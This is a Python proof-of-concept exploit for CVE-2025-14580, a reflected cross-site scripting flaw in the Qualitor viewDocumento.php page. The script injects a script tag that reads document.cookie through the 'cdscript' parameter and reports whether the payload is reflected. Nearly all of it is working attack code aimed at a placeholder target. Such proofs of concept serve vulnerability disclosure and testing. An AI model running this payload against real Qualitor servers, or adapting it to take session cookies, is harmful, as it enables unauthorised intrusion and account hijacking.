CVE-2025-14580 Qualitor跨站脚本漏洞

import requests # CVE-2025-14580 XSS PoC # Target: Qualitor up to 8.24.73 # File: /Qualitor/html/bc/bcdocumento9/biblioteca/request/viewDocumento.php # Parameter: cdscript target_url = "http://target-server/Qualitor/html/bc/bcdocumento9/biblioteca/request/viewDocumento.php" # Malicious XSS payload xss_payload = "<script>alert(document.cookie)</script>" # Construct the malicious request params = { "cdscript": xss_payload } try: # Send the malicious request response = requests.get(target_url, params=params, timeout=10) # Check if the payload is reflected in the response if xss_payload in response.text: print("[+] XSS Vulnerability Confirmed!") print(f"[+] Payload was reflected in the response") print(f"[+] Response Status: {response.status_code}") else: print("[-] XSS payload not reflected or vulnerability not present") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")